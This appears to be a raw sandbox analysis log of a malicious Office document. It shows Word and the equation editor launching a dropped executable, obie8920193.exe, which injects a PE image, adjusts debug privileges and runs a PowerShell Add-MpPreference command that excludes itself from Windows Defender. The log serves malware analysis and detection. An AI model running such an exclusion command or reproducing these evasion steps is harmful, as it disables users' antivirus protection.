Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Memory allocated: 1C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Memory allocated: 2570000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Memory allocated: 1C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Memory allocated: 8010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Memory allocated: 54B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Memory allocated: 9010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Memory allocated: 58B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Memory allocated: 3C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Memory allocated: 2230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Memory allocated: 5E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2933	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1409	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Window / User API: threadDelayed 9721	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1764	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe TID: 3172	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3380	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3392	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3348	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe TID: 3384	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe TID: 3416	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe TID: 3416	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe TID: 3420	Thread sleep count: 92 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe TID: 3420	Thread sleep count: 9721 > 30	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3500	Thread sleep time: -120000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\obie8920193.exe

Code function: 7_2_003CFCB8 LdrInitializeThunk,

7_2_003CFCB8

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Roaming\obie8920193.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obie8920193.exe"
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obie8920193.exe"			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\obie8920193.exe

Memory written: C:\Users\user\AppData\Roaming\obie8920193.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\obie8920193.exe "C:\Users\user\AppData\Roaming\obie8920193.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obie8920193.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Process created: C:\Users\user\AppData\Roaming\obie8920193.exe "C:\Users\user\AppData\Roaming\obie8920193.exe"	Jump to behavior

Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Queries volume information: C:\Users\user\AppData\Roaming\obie8920193.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Queries volume information: C:\Users\user\AppData\Roaming\obie8920193.exe VolumeInformation	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

